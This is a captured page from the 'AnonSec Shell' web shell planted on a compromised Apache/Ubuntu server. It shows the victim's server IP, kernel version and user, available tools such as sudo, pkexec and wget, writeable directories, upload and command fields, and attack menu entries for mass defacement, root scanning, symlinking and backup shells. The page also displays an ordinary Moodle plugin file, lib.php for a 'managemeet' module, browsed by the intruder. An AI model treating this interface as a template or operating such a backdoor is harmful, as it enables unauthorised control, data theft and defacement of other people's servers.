AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/mod/managemeet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/mod/managemeet/lib.php
<?php
defined('MOODLE_INTERNAL') || die();
require_once($CFG->dirroot.'/mod/managemeet/locallib.php');

function managemeet_supports($feature) {
    switch($feature) {
		case FEATURE_IDNUMBER:					return false;
        case FEATURE_GROUPS:					return false;
        case FEATURE_GROUPINGS:					return false;
        case FEATURE_GROUPMEMBERSONLY:			return false;
        case FEATURE_MOD_INTRO:					return true;
        case FEATURE_COMPLETION_TRACKS_VIEWS:	return false;
        case FEATURE_GRADE_HAS_GRADE:			return false;
        case FEATURE_GRADE_OUTCOMES:			return false;
		case FEATURE_MOD_ARCHETYPE:				return MOD_ARCHETYPE_RESOURCE;
		case FEATURE_BACKUP_MOODLE2:			return true;
		case FEATURE_NO_VIEW_LINK:				return true;

        default: 								return null;
    }
}

function managemeet_add_instance($managemeet){
    $order = new managemeet_orden();
    $db = new managemeet_database();
    $sia = new sia();
    $path = $sia->get_path_sia($managemeet->modulename);
        
    if($path->status == 1){
        $data_managemeet = $order->managemeet($managemeet);
        $id = $db->insert_data($data_managemeet);
        if($id){
            $event_managemeet = $order->managemeet_event($managemeet, $id);
            $event_result = $db->insert_events($event_managemeet);
            return $id;
        }
        else{
            return false;
        }
    }
    else{
        $data_managemeet = $order->managemeet($managemeet);
        $data_managemeet['name'] = "Error";
        $data_managemeet['intro'] = $path->msn;
        $id = $db->insert_data($data_managemeet);
        return $id;
    }

}


function managemeet_update_instance($managemeet){
    $order = new managemeet_orden();
    $db = new managemeet_database();

    $managemeetid = $db->get_record_instance($managemeet->instance);
    $data_managemeet = $order->managemeet($managemeet, $managemeetid);
    $updated = $db->update_managemeet($data_managemeet);

    if ($updated) {
        $event_ordened = $order->managemeet_event($managemeet, $managemeetid);
        $db->update_events($event_ordened, $managemeetid);
        return true;
    }
}


function managemeet_delete_instance($id){
    global $CFG;
    require_once($CFG->dirroot.'/mod/managemeet/locallib.php');

    $db = new managemeet_database();

    $managemeetid   = $db->get_record_instance($id);
    $status         = $db->delete_data($id);
    $status         = $db->delele_events($managemeetid);

    if($status){
        return true;
    }
}

function managemeet_get_coursemodule_info($coursemodule){
	global $PAGE;
	if( $coursemodule->deletioninprogress==0){
		$output = $PAGE->get_renderer('mod_managemeet');
		$view = new \mod_managemeet\output\view($coursemodule->instance);
		$info = new cached_cm_info();
		$info->content = $output->render($view);
		return $info;
	}else{
		$info = new cached_cm_info();
		return $info;
	}
}

Anon7 - 2022
AnonSec Team